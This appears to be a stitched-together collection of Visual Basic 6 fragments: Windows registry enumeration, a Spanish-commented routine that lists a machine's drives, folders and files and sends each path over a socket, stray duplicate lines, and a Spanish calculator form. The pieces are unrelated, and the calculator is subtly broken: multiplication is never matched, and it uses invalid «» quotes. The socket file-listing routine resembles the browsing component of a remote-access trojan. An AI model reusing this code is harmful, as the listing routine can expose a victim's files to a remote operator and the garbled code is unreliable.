Const ERROR_NO_MORE_ITEMS = 259&
Const HKEY_CURRENT_CONFIG = &H80000005
Const HKEY_LOCAL_MACHINE = &H80000002
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, lpcbName As Long, ByVal lpReserved As Long, ByVal lpClass As String, lpcbClass As Long, lpftLastWriteTime As Any) As Long
Private Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Sub Form_Load()
Dim hKey As Long, Cnt As Long, sName As String, sData As String, Ret As Long, RetData As Long
Const BUFFER_SIZE As Long = 255
Ret = BUFFER_SIZE
If RegOpenKey(HKEY_LOCAL_MACHINE, "Hardware", hKey) = 0 Then
    sName = Space(BUFFER_SIZE)
    While RegEnumKeyEx(hKey, Cnt, sName, Ret, ByVal 0&, vbNullString, ByVal 0&, ByVal 0&) <> ERROR_NO_MORE_ITEMS
        List1.AddItem "  " + Left$(sName, Ret)
        Cnt = Cnt + 1
        sName = Space(BUFFER_SIZE)
        Ret = BUFFER_SIZE
    Wend
    RegCloseKey hKey
End If
Cnt = 0
    If RegOpenKey(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion", hKey) = 0 Then
        'initialize
        sName = Space(BUFFER_SIZE)
        sData = Space(BUFFER_SIZE)
        Ret = BUFFER_SIZE
        RetData = BUFFER_SIZE
        'enumerate the values
        While RegEnumValue(hKey, Cnt, sName, Ret, 0, ByVal 0&, ByVal sData, RetData) <> ERROR_NO_MORE_ITEMS
            'show data
            If RetData > 0 Then
               Dim X As ListItem
               Set X = ListView1.ListItems.Add(, , Left$(sName, Ret))
               X.SubItems(1) = Left$(sData, RetData - 1)
            End If
            'prepare for next value
            Cnt = Cnt + 1
            sName = Space(BUFFER_SIZE)
            sData = Space(BUFFER_SIZE)
            Ret = BUFFER_SIZE
            RetData = BUFFER_SIZE
        Wend
        'Close the registry key
        RegCloseKey hKey
    End If
End Sub

Public Function rutad(ruta As String)
If ruta = "" Then 'si enviamos "" vemos las particiones
Dim i As Integer
For i = 0 To Drive1.ListCount - 1
ws.SendData "\list" & Drive1.List(i)  'enviamos "\list" y la ruta de todos los drive
Call Sleep(150)
Next
Else
Dir1.path = ruta
For i = 0 To Dir1.ListCount - 1
'=
ws.SendData "\list" & Form1.Dir1.List(i) & "\"
Call Sleep(150)
Next
File1.path = ruta
For i = 0 To File1.ListCount - 1
titulo = File1.path
ws.SendData "\list" & File1.path & "\" & File1.List(i)
Call Sleep(150)
Next
End If
Exit Function
End Function

ws.SendData "\list" & File1.path & File1.List(i)

ws.SendData "\list" & File1.path & "\" & File1.List(i)

Dim Operador As String
Private Sub Borrar_Click()
primeroperando.Text = «»
segundooperando.Text = «»
MostrarResultado.Caption = 0
primeroperando.SetFocus
End Sub
Private Sub Calcular_Click()
If primeroperando.Text = "" Or segundooperando.Text = "" Then
MsgBox ("Falta algún operando")
End If
If Operador = " + " Then
MostrarResultado.Caption = Val(primeroperando.Text) + Val(segundooperando.Text)
End If
If Operador = " - " Then
MostrarResultado.Caption = Val(primeroperando.Text) - Val(segundooperando.Text)
End If
If Operador = " x " Then
MostrarResultado.Caption = Val(primeroperando.Text) * Val(segundooperando.Text)
End If
If Operador = " / " Then
 If Val(segundooperando.Text) = 0 Then
 MsgBox ("No se puede dividir entre 0")
 Else
 MostrarResultado.Caption = Val(primeroperando.Text) / Val(segundooperando.Text)
 End If
End If
ListaOperaciones.AddItem primeroperando.Text & Operador & segundooperando.Text & "=" & MostrarResultado.Caption
End Sub
Private Sub optDividir_Click()
Operador = " / "
End Sub
Private Sub optMultiplicar_Click()
Operador = " * "
End Sub
Private Sub optRestar_Click()
Operador = " - "
End Sub
Private Sub optSumar_Click()
Operador = " + "
End Sub